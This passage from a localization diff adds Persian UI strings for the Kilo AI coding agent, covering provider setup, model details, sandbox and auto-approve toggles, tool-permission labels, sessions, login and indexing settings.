(اختیاری)", + "provider.connect.apiKey.placeholder": "کلید API", + "provider.connect.apiKey.placeholder.optional": "برای سرور محلی خالی بگذارید", + "provider.connect.apiKey.required": "کلید API الزامی است", + "provider.connect.prompt.required": "{{field}} الزامی است", + "provider.connect.azure.endpointType.label": "پیکربندی endpoint Azure را انتخاب کنید", + "provider.connect.azure.endpointType.resourceName.label": "نام منبع", + "provider.connect.azure.endpointType.resourceName.hint": "نقطه پایانی را از نام منبع Azure خود بسازید", + "provider.connect.azure.endpointType.baseURL.label": "URL کامل نقطه پایانی", + "provider.connect.azure.endpointType.baseURL.hint": "از یک نقطه پایانی سفارشی Azure OpenAI استفاده کنید", + "provider.connect.azure.resourceName.label": "نام منبع Azure", + "provider.connect.azure.resourceName.placeholder": "مثلاً my-models", + "provider.connect.azure.baseURL.label": "URL نقطه پایانی Azure OpenAI", + "provider.connect.azure.baseURL.placeholder": "مثلاً https://my-models.openai.azure.com/openai", + "provider.connect.oauth.code.visit.prefix": "به ", + "provider.connect.oauth.code.visit.link": "این لینک", + "provider.connect.oauth.code.visit.suffix": + " مراجعه کنید تا کد مجوز خود را دریافت کرده، حساب خود را متصل کنید و از مدل‌های {{provider}} در Kilo استفاده کنید.", + "provider.connect.oauth.code.label": "کد مجوز {{method}}", + "provider.connect.oauth.code.placeholder": "کد مجوز", + "provider.connect.oauth.code.required": "کد مجوز الزامی است", + "provider.connect.oauth.auto.visit.prefix": "به ", + "provider.connect.oauth.auto.visit.link": "این لینک", + "provider.connect.oauth.auto.visit.suffix": + " مراجعه کنید و کد زیر را وارد کنید تا حساب خود را متصل کرده و از مدل‌های {{provider}} در Kilo استفاده کنید.", + "provider.connect.oauth.auto.confirmationCode": "کد تأیید", + "provider.connect.toast.connected.title": "{{provider}} متصل شد", + "provider.connect.toast.connected.description": "مدل‌های {{provider}} اکنون در دسترس هستند.", + + "provider.disconnect.toast.disconnected.title": "{{provider}} قطع شد", + "provider.disconnect.toast.disconnected.description": "مدل‌های {{provider}} دیگر در دسترس نیستند.", + + "model.tag.free": "رایگان", + "model.tag.dataCollected": "ممکن است داده‌ها برای آموزش استفاده شوند", + "model.group.auto": "مدل‌های خودکار", + "model.group.recommended": "پیشنهادی", + "model.group.favorites": "موردعلاقه‌ها", + "model.favorite.add": "افزودن به موردعلاقه‌ها", + "model.favorite.remove": "حذف از موردعلاقه‌ها", + "model.preview.label.released": "منتشر شده", + "model.preview.label.input": "ورودی", + "model.preview.label.output": "خروجی", + "model.preview.label.cached": "کش شده", + "model.preview.label.average": "هزینه تخمینی میانگین", + "model.preview.label.context": "زمینه", + "model.preview.group.terminalBench": "Terminal Bench 2.0", + "model.preview.group.autoEfficientChoices": "انتخاب‌های مدل", + "model.preview.label.completion": "تکمیل", + "model.preview.label.costAttempt": "هزینه / تلاش", + "model.preview.value.notSupported": "پشتیبانی نمی‌شود", + "model.preview.tooltip.average": + "میانگین هزینه تخمینی بر اساس نسبت معمول توکن‌های ورودی، خروجی و خواندن کش محاسبه می‌شود.", + "model.preview.badge.reasoning": "استدلال", + "model.preview.modality.text": "متن", + "model.preview.modality.image": "تصاویر", + "model.preview.modality.audio": "صدا", + "model.preview.modality.video": "ویدیو", + "model.preview.modality.pdf": "PDF", + + "common.goBack": "بازگشت", + "common.loading": "در حال بارگذاری", + "common.cancel": "لغو", + "common.connect": "اتصال", + "common.disconnect": "قطع اتصال", + "common.submit": "ارسال", + "common.save": "ذخیره", + "common.saving": "در حال ذخیره...", + "common.default": "پیش‌فرض", + + "prompt.thinking.tooltip": "میزان استدلال", + "prompt.action.send": "ارسال", + "prompt.action.send.blocked": "ابتدا به سؤال در انتظار پاسخ دهید یا آن را رد کنید", + "prompt.action.send.recording": "رونویسی و ارسال", + "prompt.action.stop": "توقف", + "prompt.action.enhance": "بهبود پرامپت", + "prompt.action.indexing": "تنظیمات ایندکس‌گذاری", + "prompt.action.autoApprove.enable": "فعال‌سازی تأیید خودکار", + "prompt.action.autoApprove.disable": "غیرفعال‌سازی تأیید خودکار", + "prompt.action.autoApprove.enabled": "تأیید خودکار فعال است. درخواست‌های مجوز به‌صورت خودکار تأیید می‌شوند.", + "prompt.action.autoApprove.disabled": "تأیید خودکار غیرفعال است. برای تأیید خودکار درخواست‌های مجوز کلیک کنید.", + "prompt.action.sandbox.enable": "فعال‌سازی سندباکس", + "prompt.action.sandbox.disable": "غیرفعال‌سازی سندباکس", + "prompt.action.sandbox.enabled": "سندباکس فعال است. دستورات شل عامل به پوشه‌های پروژه و Kilo محدود شده‌اند.", + "prompt.action.sandbox.disabled": + "سندباکس غیرفعال است. برای محدود کردن نوشتن دستورات شل عامل به پوشه‌های پروژه و Kilo کلیک کنید.", + "prompt.action.sandbox.status.enabled": "Sandbox فعال", + "prompt.action.sandbox.status.disabled": "Sandbox غیرفعال", + "prompt.action.sandbox.filesystem": "سیستم فایل", + "prompt.action.sandbox.network": "شبکه", + "prompt.action.sandbox.filesystem.restricted": "محدود", + "prompt.action.sandbox.network.blocked": "مسدود", + "prompt.action.sandbox.network.allowed": "مجاز", + "prompt.action.sandbox.unrestricted": "بدون محدودیت", + "prompt.action.sandbox.description.enabled": "نوشتن‌ها به پوشه‌های پروژه و Kilo محدود شده‌اند.", + "prompt.action.sandbox.description.disabled": "برای محدود کردن نوشتن در سیستم فایل و دسترسی به شبکه کلیک کنید.", + "prompt.action.sandbox.description.disabledNetworkAllowed": + "برای محدود کردن نوشتن در سیستم فایل کلیک کنید. دسترسی به شبکه طبق تنظیمات sandbox شما مجاز است.", + "prompt.action.resetModel": "بازنشانی مدل به حالت پیش‌فرض", + "prompt.action.enhanceDescription": + "دکمه «بهبود پرامپت» با ارائه زمینه بیشتر، توضیح یا بازنویسی، به بهتر کردن پرامپت شما کمک می‌کند. یک پرامپت تایپ کنید و دوباره روی دکمه کلیک کنید تا نحوه عملکرد آن را ببینید.", + "speechToText.tooltip.start": "شروع ورودی صوتی با Kilo Gateway", + "speechToText.tooltip.starting": "در حال راه‌اندازی میکروفون... منتظر بمانید.", + "speechToText.tooltip.stop": "در حال ضبط. برای توقف کلیک کنید.", + "speechToText.tooltip.transcribing": "در حال رونویسی... برای لغو کلیک کنید.", + "speechToText.tooltip.error": "ورودی صوتی ناموفق بود. برای پاک کردن کلیک کنید.", + "speechToText.error.title": "ورودی صوتی ناموفق بود", + "speechToText.error.loginRequired": "برای استفاده از ورودی صوتی وارد Kilo شوید.", + "speechToText.error.emptyTranscript": "هیچ گفتاری شناسایی نشد.", + + "prompt.toast.promptSendFailed.title": "ارسال پرامپت ناموفق بود", + + "mcp.status.connected": "متصل", + "mcp.status.failed": "ناموفق", + "mcp.status.needs_auth": "نیاز به احراز هویت", + "mcp.status.needs_registration": "نیاز به ثبت کلاینت", + "mcp.status.disabled": "غیرفعال", + + "toast.session.rename.invalid.title": "عنوان جلسه نامعتبر است", + + "error.startup.title": "اتصال به سرور ناموفق بود", + + "error.paidModel.title": "برای استفاده از این مدل باید وارد شوید", + "error.paidModel.description": + "برای دسترسی به بیش از ۵۰۰ مدل، استفاده از اعتبار با هزینه واقعی یا استفاده از کلید خودتان، وارد شوید یا حساب کاربری بسازید.", + "error.paidModel.action": "ورود", + "error.promotionLimit.title": "برای ادامه باید ثبت‌نام کنید", + "error.promotionLimit.description": + "برای ادامه و دسترسی به ۵۰۰ مدل دیگر، رایگان ثبت‌نام کنید. تنها ۲ دقیقه طول می‌کشد و نیازی به کارت اعتباری نیست. یا بعداً برگردید.", + "error.promotionLimit.action": "ثبت‌نام", + "error.providerAuth.title": "{{provider}} شما را خارج کرد", + "error.providerAuth.description": "{{provider}} را دوباره متصل کنید، سپس پیام خود را مجدداً ارسال کنید.", + "error.providerAuth.chatgpt.title": "OpenAI شما را خارج کرد", + "error.providerAuth.chatgpt.description": + "دوباره با ChatGPT وارد شوید، سپس پیام خود را مجدداً ارسال کنید تا از مدل‌های Codex استفاده کنید.", + + "notification.permission.title": "مجوز لازم است", + "notification.permission.titleSubagent": "مجوز مورد نیاز است (زیرعامل)", + "ui.permission.manageAutoApprove": "مدیریت قوانین تأیید خودکار", + "ui.permission.doomLoop.prompt": "حلقه احتمالی برای ابزار {{tool}} شناسایی شد. ادامه می‌دهید؟", + "ui.permission.doomLoop.rule": "ادامه فراخوانی‌های {{tool}}", + "ui.permission.rule.addToAllowed": "افزودن به لیست مجاز", + "ui.permission.rule.removeFromAllowed": "حذف از لیست مجاز", + "ui.permission.rule.addToDenied": "افزودن به لیست مسدود", + "ui.permission.rule.removeFromDenied": "حذف از لیست مسدود", + "ui.permission.toolLabel.read": "خواندن", + "ui.permission.toolLabel.edit": "ویرایش", + "ui.permission.toolLabel.write": "نوشتن", + "ui.permission.toolLabel.patch": "وصله", + "ui.permission.toolLabel.globSearch": "جستجوی Glob", + "ui.permission.toolLabel.grepSearch": "جستجوی Grep", + "ui.permission.toolLabel.webSearch": "جستجوی وب", + "ui.permission.toolLabel.list": "فهرست", + "ui.permission.toolLabel.externalDirectory": "دسترسی به پوشه خارجی", + "ui.permission.toolLabel.webFetch": "دریافت از وب", + "ui.permission.toolLabel.task": "وظیفه", + "ui.permission.toolLabel.skill": "مهارت", + "ui.permission.toolLabel.lsp": "LSP", + "ui.permission.toolLabel.bash": "Bash", + "ui.permission.toolLabel.todoRead": "خواندن Todo", + "ui.permission.toolLabel.todoWrite": "نوشتن Todo", + "ui.permission.toolLabel.codeSearch": "جستجوی کد", + "ui.permission.copyCommand": "کپی", + "ui.approval.auto": "تأیید خودکار", + "ui.approval.manual": "تأیید شده توسط شما", + "ui.approval.rule": "با قانون `{{pattern}}` از `{{permission}}` مطابقت داشت", + "ui.approval.source.agent": "توسط عامل {{agent}}", + "ui.approval.source.agent.default": "توسط عامل", + "ui.approval.source.global": "توسط تنظیمات سراسری شما", + "ui.approval.source.project": "توسط تنظیمات پروژه", + "ui.approval.source.yolo": "توسط حالت تأیید خودکار (YOLO)", + "ui.approval.source.session": "توسط قانون تأیید خودکار جلسه", + "ui.approval.source.default": "به‌طور پیش‌فرض", + + "session.tab.review": "بررسی", + "session.review.filesChanged": "{{count}} فایل تغییر یافته", + "session.review.change.other": "تغییرات", + "session.review.loadingChanges": "در حال بارگذاری تغییرات...", + "session.review.noChanges": "بدون تغییر", + + "session.messages.loadingEarlier": "در حال بارگذاری پیام‌های قبلی...", + "session.messages.loadEarlier": "بارگذاری پیام‌های قبلی", + "session.messages.loading": "در حال بارگذاری پیام‌ها...", + + "common.closeTab": "بستن برگه", + "common.signIn": "ورود", + "common.dismiss": "رد کردن", + "common.requestFailed": "درخواست ناموفق بود", + "common.rename": "تغییر نام", + "common.delete": "حذف", + "common.close": "بستن", + "common.edit": "ویرایش", + "common.loadMore": "بارگذاری بیشتر", + + "sidebar.settings": "تنظیمات", + + "sound.option.alert01": "هشدار ۰۱", + "sound.option.alert02": "هشدار ۰۲", + "sound.option.alert03": "هشدار ۰۳", + "sound.option.alert04": "هشدار ۰۴", + "sound.option.alert05": "هشدار ۰۵", + "sound.option.alert06": "هشدار ۰۶", + "sound.option.alert07": "هشدار ۰۷", + "sound.option.alert08": "هشدار ۰۸", + "sound.option.alert09": "هشدار ۰۹", + "sound.option.alert10": "هشدار ۱۰", + "sound.option.bipbop01": "بیپ-باپ ۰۱", + "sound.option.bipbop02": "Bip-bop 02", + "sound.option.bipbop03": "Bip-bop 03", + "sound.option.bipbop04": "Bip-bop 04", + "sound.option.bipbop05": "Bip-bop 05", + "sound.option.bipbop06": "Bip-bop 06", + "sound.option.bipbop07": "Bip-bop 07", + "sound.option.bipbop08": "Bip-bop 08", + "sound.option.bipbop09": "Bip-bop 09", + "sound.option.bipbop10": "Bip-bop 10", + "sound.option.staplebops01": "Staplebops 01", + "sound.option.staplebops02": "Staplebops 02", + "sound.option.staplebops03": "Staplebops 03", + "sound.option.staplebops04": "Staplebops 04", + "sound.option.staplebops05": "Staplebops 05", + "sound.option.staplebops06": "Staplebops 06", + "sound.option.staplebops07": "Staplebops 07", + "sound.option.nope01": "Nope 01", + "sound.option.nope02": "Nope 02", + "sound.option.nope03": "Nope 03", + "sound.option.nope04": "Nope 04", + "sound.option.nope05": "نه ۰۵", + "sound.option.nope06": "نه ۰۶", + "sound.option.nope07": "نه ۰۷", + "sound.option.nope08": "نه ۰۸", + "sound.option.nope09": "نه ۰۹", + "sound.option.nope10": "نه ۱۰", + "sound.option.nope11": "نه ۱۱", + "sound.option.nope12": "نه ۱۲", + "sound.option.yup01": "بله ۰۱", + "sound.option.yup02": "بله ۰۲", + "sound.option.yup03": "Yup 03", + "sound.option.yup04": "Yup 04", + "sound.option.yup05": "Yup 05", + "sound.option.yup06": "Yup 06", + + "settings.providers.title": "ارائه‌دهندگان", + "settings.providers.section.connected": "ارائه‌دهندگان متصل", + "settings.providers.connected.empty": "هیچ ارائه‌دهنده متصلی وجود ندارد", + "settings.providers.section.popular": "ارائه‌دهندگان محبوب", + "settings.providers.tag.gateway": "Gateway", + "settings.providers.tag.environment": "محیط", + "settings.providers.tag.config": "پیکربندی", + "settings.providers.tag.chatgpt": "ChatGPT", + "settings.providers.tag.custom": "سفارشی", + "settings.providers.tag.customProvider": "ارائه‌دهنده سفارشی", + "settings.providers.tag.other": "سایر", + "settings.providers.connected.environmentDescription": "از متغیرهای محیطی شما متصل شده است", + "settings.providers.action.signInChatGPT": "ورود با ChatGPT", + "settings.providers.custom.description": "یک ارائه‌دهنده سفارشی از طریق URL پایه اضافه کنید.", + + "provider.custom.title": "ارائه‌دهنده سفارشی", + "provider.custom.description.prefix": "یک ارائه‌دهنده سفارشی پیکربندی کنید. به ", + "provider.custom.description.link": "مستندات پیکربندی ارائه‌دهنده", + "provider.custom.description.suffix": ".", + "provider.custom.field.providerID.label": "شناسه ارائه‌دهنده", + "provider.custom.field.providerID.placeholder": "myprovider", + "provider.custom.field.providerID.description": "حروف کوچک، اعداد، خط تیره یا زیرخط", + "provider.custom.field.name.label": "نام نمایشی", + "provider.custom.field.name.placeholder": "ارائه‌دهنده هوش مصنوعی من", + "provider.custom.field.package.label": "API ارائه‌دهنده", + "provider.custom.field.baseURL.label": "URL پایه", + "provider.custom.field.baseURL.placeholder": "https://api.myprovider.com/v1", + "provider.custom.field.apiKey.label": "کلید API", + "provider.custom.field.apiKey.placeholder": "کلید API", + "provider.custom.field.apiKey.description": "اختیاری. اگر احراز هویت را از طریق هدرها مدیریت می‌کنید، خالی بگذارید.", + "provider.custom.models.label": "مدل‌ها", + "provider.custom.models.id.label": "شناسه", + "provider.custom.models.id.placeholder": "model-id", + "provider.custom.models.name.label": "نام", + "provider.custom.models.name.placeholder": "نام نمایشی", + "provider.custom.models.reasoning.label": "استدلال", + "provider.custom.models.modalities.image": "تصویر", + "provider.custom.models.variants.label": "نسخه‌های متغیر", + "provider.custom.models.variants.add": "افزودن نسخه متغیر", + "provider.custom.models.variants.remove": "حذف نسخه متغیر", + "provider.custom.models.variants.name.label": "نام", + "provider.custom.models.variants.name.placeholder": "مثلاً thinking", + "provider.custom.models.variants.option.unset": "(تنظیم نشده)", + "provider.custom.models.variants.enableThinking.label": "فعال‌سازی تفکر (مثلاً Alibaba)", + "provider.custom.models.variants.enableThinking.placeholder": "enable_thinking", + "provider.custom.models.variants.enableThinking.true": "true", + "provider.custom.models.variants.enableThinking.false": "false", + "provider.custom.models.variants.thinking.label": "نوع تفکر (مثلاً Z.ai)", + "provider.custom.models.variants.thinking.placeholder": "thinking", + "provider.custom.models.variants.thinking.enabled": "فعال", + "provider.custom.models.variants.thinking.disabled": "غیرفعال", + "provider.custom.models.variants.thinking.adaptive": "تطبیقی", + "provider.custom.models.variants.splitReasoning.label": "تقسیم استدلال (لازم برای مثلاً MiniMax)", + "provider.custom.models.variants.splitReasoning.placeholder": "reasoning_split", + "provider.custom.models.variants.splitReasoning.true": "true", + "provider.custom.models.variants.splitReasoning.false": "false", + "provider.custom.models.variants.chatTemplateArgs.label": + "فعال‌سازی تفکر از طریق آرگومان‌های قالب چت (مثلاً Hugging Face)", + "provider.custom.models.variants.chatTemplateArgs.placeholder": "chat_template_args", + "provider.custom.models.variants.chatTemplateArgs.true": "true", + "provider.custom.models.variants.chatTemplateArgs.false": "false", + "provider.custom.models.variants.reasoningEffort.label": "سطح استدلال", + "provider.custom.models.variants.reasoningEffort.placeholder": "reasoningEffort", + "provider.custom.models.variants.reasoningEffort.none": "هیچ", + "provider.custom.models.variants.reasoningEffort.minimal": "حداقل", + "provider.custom.models.variants.reasoningEffort.low": "کم", + "provider.custom.models.variants.reasoningEffort.medium": "متوسط", + "provider.custom.models.variants.reasoningEffort.high": "زیاد", + "provider.custom.models.variants.reasoningEffort.xhigh": "xhigh", + "provider.custom.models.variants.outputEffort.label": "تلاش خروجی (مثلاً Anthropic)", + "provider.custom.models.variants.outputEffort.placeholder": "تلاش", + "provider.custom.models.variants.outputEffort.low": "کم", + "provider.custom.models.variants.outputEffort.medium": "متوسط", + "provider.custom.models.variants.outputEffort.high": "زیاد", + "provider.custom.models.variants.outputEffort.xhigh": "xhigh", + "provider.custom.models.variants.outputEffort.max": "حداکثر", + "provider.custom.models.remove": "حذف مدل", + "provider.custom.models.add": "افزودن مدل", + "provider.custom.models.fetch.authError": "احراز هویت ناموفق بود. کلید API بالا را بررسی کرده و دوباره امتحان کنید.", + "provider.custom.models.fetch.empty": "هیچ مدلی در این سرور یافت نشد.", + "provider.custom.models.fetch.added": "{{count}} مدل اضافه شد.", + "provider.custom.models.fetch.allExist": "تمام مدل‌های دریافت‌شده قبلاً اضافه شده‌اند.", + "provider.custom.models.fetch.selectAll": "انتخاب همه", + "provider.custom.models.fetch.deselectAll": "لغو انتخاب همه", + "provider.custom.models.fetch.found": "{{count}} مدل یافت شد", + "provider.custom.models.fetch.showing": "نمایش {{shown}} از {{total}}", + "provider.custom.models.fetch.search": "جستجوی مدل‌ها…", + "provider.custom.models.fetch.add": "افزودن {{count}} مدل", + "provider.custom.edit.title": "ویرایش ارائه‌دهنده", + "provider.custom.headers.label": "هدرها (اختیاری)", + "provider.custom.headers.key.label": "هدر", + "provider.custom.headers.key.placeholder": "Header-Name", + "provider.custom.headers.value.label": "مقدار", + "provider.custom.headers.value.placeholder": "value", + "provider.custom.headers.remove": "حذف هدر", + "provider.custom.headers.add": "افزودن هدر", + "provider.custom.error.providerID.required": "شناسه ارائه‌دهنده الزامی است", + "provider.custom.error.providerID.format": "از حروف کوچک، اعداد، خط تیره یا زیرخط استفاده کنید", + "provider.custom.error.providerID.exists": "این شناسه ارائه‌دهنده از قبل وجود دارد", + "provider.custom.error.name.required": "نام نمایشی الزامی است", + "provider.custom.error.baseURL.required": "URL پایه الزامی است", + "provider.custom.error.baseURL.format": "باید با http:// یا https:// شروع شود", + "provider.custom.error.required": "الزامی", + "provider.custom.error.duplicate": "تکراری", + "settings.openLocalConfig": "پیکربندی محلی", + "settings.openGlobalConfig": "پیکربندی سراسری", + "settings.config.scope.local": "محلی", + "settings.config.scope.global": "سراسری", + "settings.config.status.loaded": "بارگذاری شد", + "settings.config.status.loadedLegacy": "پیکربندی قدیمی بارگذاری شد", + "settings.config.status.notLoaded": "بارگذاری نشد", + "settings.config.status.create": "یافت نشد - این فایل را ایجاد کنید", + "settings.config.title": "باز کردن فایل پیکربندی {{scope}} Kilo", + "settings.config.placeholder": + "فایل‌های پیکربندی به ترتیب ادغام می‌شوند؛ فایل‌های علامت‌گذاری‌شده به‌عنوان بارگذاری‌شده در حال حاضر روی تنظیمات تأثیر می‌گذارند.", + "settings.config.noWorkspace": "یک پوشه کاری باز کنید تا فایل پیکربندی محلی Kilo را ویرایش کنید.", + "settings.config.openFailed": "باز کردن فایل پیکربندی {{scope}} Kilo با شکست مواجه شد: {{message}}", + "settings.config.source.xdg": "پیکربندی سراسری XDG", + "settings.config.source.homeKilo": "پیکربندی .kilo در پوشه خانگی", + "settings.config.source.homeKilocode": "پیکربندی .kilocode در پوشه خانگی", + "settings.config.source.homeOpencode": "پیکربندی .opencode در پوشه خانگی", + "settings.config.source.envFile": "فایل محیطی KILO_CONFIG", + "settings.config.source.envDir": "KILO_CONFIG_DIR", + "settings.config.source.envContent": "پیکربندی محیطی درون‌خطی", + "settings.config.source.projectKilo": "پیکربندی .kilo پروژه", + "settings.config.source.projectRoot": "پیکربندی ریشه پروژه", + "settings.config.source.projectKilocode": "پیکربندی قدیمی .kilocode", + "settings.config.source.projectOpencode": "پیکربندی قدیمی .opencode", + "settings.models.title": "مدل‌ها", + + "settings.permissions.toast.updateFailed.title": "به‌روزرسانی مجوزها ناموفق بود", + + "settings.permissions.tool.read.title": "خواندن", + "settings.permissions.tool.read.description": "خواندن یک فایل (با مسیر فایل تطابق دارد)", + "settings.permissions.tool.edit.title": "ویرایش", + "settings.permissions.tool.edit.description": "تغییر فایل‌ها، شامل ویرایش، نوشتن، وصله‌گذاری و ویرایش‌های چندگانه", + "settings.permissions.tool.glob.title": "Glob", + "settings.permissions.tool.glob.description": "تطبیق فایل‌ها با استفاده از الگوهای glob", + "settings.permissions.tool.grep.title": "Grep", + "settings.permissions.tool.grep.description": "جستجوی محتوای فایل‌ها با استفاده از عبارات منظم", + "settings.permissions.tool.list.title": "فهرست", + "settings.permissions.tool.list.description": "فهرست کردن فایل‌های درون یک پوشه", + "settings.permissions.tool.bash.title": "Bash", + "settings.permissions.tool.bash.description": "اجرای دستورات شل", + "settings.permissions.tool.task.title": "وظیفه", + "settings.permissions.tool.task.description": "راه‌اندازی زیر-عامل‌ها", + "settings.permissions.tool.skill.title": "مهارت", + "settings.permissions.tool.skill.description": "بارگذاری یک مهارت با نام", + "settings.permissions.tool.lsp.title": "LSP", + "settings.permissions.tool.lsp.description": "اجرای پرس‌وجوهای سرور زبان", + "settings.permissions.tool.todoread.title": "خواندن وظایف", + "settings.permissions.tool.todoread.description": "خواندن فهرست وظایف", + "settings.permissions.tool.todowrite.title": "نوشتن وظایف", + "settings.permissions.tool.todowrite.description": "به‌روزرسانی فهرست وظایف", + "settings.permissions.tool.webfetch.title": "دریافت وب", + "settings.permissions.tool.webfetch.description": "دریافت محتوا از یک URL", + "settings.permissions.tool.websearch.title": "جستجوی وب", + "settings.permissions.tool.websearch.description": "جستجو در وب", + "settings.permissions.tool.codesearch.title": "جستجوی کد", + "settings.permissions.tool.codesearch.description": "جستجوی کد در وب", + "settings.permissions.tool.external_directory.title": "پوشه خارجی", + "settings.permissions.tool.external_directory.description": "دسترسی به فایل‌های خارج از پوشه پروژه", + "settings.permissions.tool.doom_loop.title": "حلقه بی‌پایان", + "settings.permissions.tool.doom_loop.description": "تشخیص فراخوانی‌های تکراری ابزار با ورودی یکسان", + + "session.delete.title": "حذف جلسه", + "session.delete.confirm": "حذف جلسه «{{name}}»؟", + "session.delete.button": "حذف جلسه", + "session.untitled": "بدون عنوان", + "session.current": "جلسه فعلی", + "session.recent": "اخیر", + "session.showHistory": "نمایش تاریخچه", + "session.history.sources": "منبع تاریخچه", + "session.search.placeholder": "جستجوی جلسات...", + "session.empty": "هنوز جلسه‌ای وجود ندارد. برای شروع مکالمه جدید روی + کلیک کنید.", + "session.tabs.switcher.open": "نمایش تب‌های باز", + "session.tabs.switcher.search": "جستجو در تب‌های باز...", + "session.tabs.switcher.current": "فعلی", + "session.tabs.switcher.pending": "جدید", + "session.tabs.switcher.busy": "در حال کار", + "session.tab.local": "محلی", + "session.tab.cloud": "Cloud", + "session.tab.worktree": "Worktree", + "session.cloud.repoOnly": "فقط این مخزن", + "session.cloud.import": "وارد کردن جلسه", + "feedback.button": "بازخورد و پشتیبانی", + "feedback.dialog.message": "خوشحال می‌شویم نظرات شما را بشنویم یا در رفع مشکلاتتان کمک کنیم.", + "feedback.dialog.github": "گزارش مشکل در GitHub", + "feedback.dialog.discord": "پیوستن به جامعه Discord ما", + "feedback.dialog.support": "پشتیبانی مشتریان", + "workStyle.onboarding.welcome": "به Kilo خوش آمدید", + "workStyle.onboarding.title": "نحوه کار خود را انتخاب کنید", + "workStyle.onboarding.settingsNote": "می‌توانید این گزینه‌ها را هر زمان در", + "workStyle.onboarding.settings": "تنظیمات تغییر دهید.", + "workStyle.toast.saved.title": "حالت با موفقیت ذخیره شد", + "workStyle.choice.permissions": "مجوزها", + "workStyle.choice.bash": "Bash", + "workStyle.choice.visibility": "نمایان‌پذیری", + "workStyle.choice.human-in-the-loop.eyebrow": "انسان در حلقه", + "workStyle.choice.human-in-the-loop.title": "ابتدا بررسی کنید", + "workStyle.choice.human-in-the-loop.description": "Kilo در حین کار مکث می‌کند و برنامه خود را به شما نشان می‌دهد.", + "workStyle.choice.human-in-the-loop.permissions": "قبل از ویرایش فایل‌ها یا اجرای دستورات اجازه می‌گیرد.", + "workStyle.choice.human-in-the-loop.bash": "هنگام اجرای تمام دستورات ترمینال اجازه می‌گیرد.", + "workStyle.choice.human-in-the-loop.visibility": "جزئیات کامل مکالمه، از جمله استدلال، را نمایش می‌دهد.", + "workStyle.choice.autonomous.eyebrow": "وقفه‌های کمتر", + "workStyle.choice.autonomous.title": "استقلال بالا", + "workStyle.choice.autonomous.description": "وقفه‌های کمتر، رابط کاربری ساده‌تر.", + "workStyle.choice.autonomous.permissions": + "بدون درخواست اجازه، فایل‌ها را ویرایش می‌کند و دستورات را در فضای کاری اجرا می‌کند.", + "workStyle.choice.autonomous.bash": "می‌تواند بدون تأیید، دستورات ترمینال را در فضای کاری اجرا کند.", + "workStyle.choice.autonomous.visibility": "جزئیات تا زمانی که آن‌ها را باز کنید، جمع‌شده باقی می‌مانند.", + "session.cloud.import.title": "وارد کردن جلسه", + "session.cloud.import.placeholder": "شناسه جلسه، URL، یا دستور kilo import", + "session.cloud.import.button": "وارد کردن", + "session.cloud.import.invalid": "فرمت شناسه جلسه نامعتبر است", + "session.cloud.import.legacy": "به نظر می‌رسد این یک جلسه قدیمی است که دیگر پشتیبانی نمی‌شود.", + "session.cloud.import.failed": "وارد کردن جلسه ابری ناموفق بود", + + "deviceAuth.toast.urlCopied": "URL در کلیپ‌بورد کپی شد", + "deviceAuth.toast.codeCopied": "کد در کلیپ‌بورد کپی شد", + "deviceAuth.toast.errorCopied": "خطا در کلیپ‌بورد کپی شد", + "deviceAuth.status.initiating": "در حال شروع ورود...", + "deviceAuth.title": "ورود به Kilo Code", + "deviceAuth.step1": "مرحله ۱: این URL را باز کنید", + "deviceAuth.action.copyUrl": "کپی URL", + "deviceAuth.action.openBrowser": "باز کردن مرورگر", + "deviceAuth.qrCode.alt": "کد QR", + "deviceAuth.step2": "مرحله ۲: این کد را وارد کنید", + "deviceAuth.action.clickToCopy": "برای کپی کلیک کنید", + "deviceAuth.status.waiting": "در انتظار تأیید...", + "deviceAuth.status.success": "ورود موفقیت‌آمیز بود!", + "deviceAuth.status.failed": "ورود ناموفق بود", + "deviceAuth.status.cancelled": "ورود لغو شد", + "deviceAuth.action.copyError": "خطا در کپی", + "deviceAuth.action.showDetails": "مشاهده جزئیات", + "deviceAuth.action.tryAgain": "تلاش مجدد", + "deviceAuth.error.detailsTitle": "جزئیات خطای ورود", + + "common.retry": "تلاش مجدد", + "common.refresh": "بازخوانی", + "common.reload": "بارگذاری مجدد", + "common.reloadDescription": "بارگذاری مجدد تنظیمات، مهارت‌ها، عوامل و دستورات از دیسک", + + "profile.title": "پروفایل", + "profile.notLoggedIn": "وارد نشده‌اید", + "profile.action.login": "ورود با Kilo Code", + "profile.balance.title": "موجودی", + "profile.balance.refresh": "بازخوانی موجودی", + "profile.action.dashboard": "داشبورد", + "profile.action.topUp": "شارژ کردن", + "profile.pass.subscribe": "Kilo Pass را دریافت کنید تا اعتبار اضافه کنید و پاداش کسب کنید", + "profile.pass.bonus": "پاداش", + "profile.pass.renews": "تمدید می‌شود", + "profile.action.logout": "خروج", + + "settings.agentBehaviour.title": "رفتار عامل", + "settings.autoApprove.title": "تأیید خودکار", + "settings.browser.title": "مرورگر", + "settings.checkpoints.title": "نقاط بازیابی", + "settings.display.title": "نمایش", + "settings.autocomplete.title": "تکمیل خودکار", + "settings.notifications.title": "اعلان‌ها", + "settings.context.title": "زمینه", + "settings.indexing.title": "ایندکس‌گذاری", + "settings.indexing.status.title": "وضعیت", + "settings.indexing.enable.title": "فعال‌سازی ایندکس‌گذاری", + "settings.indexing.enable.description": "ایندکس‌گذاری معنایی پایگاه کد را روشن یا خاموش کنید.", + "settings.indexing.showButton.title": "نمایش دکمه هنگامی که ایندکس‌گذاری خاموش است", + "settings.indexing.showButton.description": + "دکمه ایندکس‌گذاری را در زیر پرامپت هنگامی که ایندکس‌گذاری خاموش است نشان دهید. در صورت پنهان بودن، برای فعال‌سازی ایندکس‌گذاری به تنظیمات > ایندکس‌گذاری بروید.", + "settings.indexing.globalEnable.title": "فعال‌سازی سراسری", + "settings.indexing.globalEnable.description": "فهرست‌سازی را برای همه فضاهای کاری فعال کنید.", + "settings.indexing.projectEnable.title": "فعال‌سازی برای این پروژه", + "settings.indexing.projectEnable.description": + "هنگامی که فهرست‌سازی سراسری غیرفعال است، فهرست‌سازی را برای این فضای کاری فعال کنید.", + "settings.indexing.provider.title": "ارائه‌دهنده جاسازی", + "settings.indexing.provider.description": + "ارائه‌دهنده مورد استفاده برای تولید جاسازی‌ها در جستجوی معنایی را انتخاب کنید.", + "settings.indexing.kiloModel.title": "پیش‌تنظیم مدل Kilo", + "settings.indexing.kiloModel.description": "یک مدل جاسازی میزبانی‌شده توسط Kilo را انتخاب کنید.", + "settings.indexing.kiloSignIn.title": "ورود به Kilo الزامی است", + "settings.indexing.kiloSignIn.description": "برای استفاده از جاسازی‌های میزبانی‌شده، وارد Kilo شوید.", + "settings.indexing.model.title": "مدل جاسازی", + "settings.indexing.model.description": "مدل جاسازی 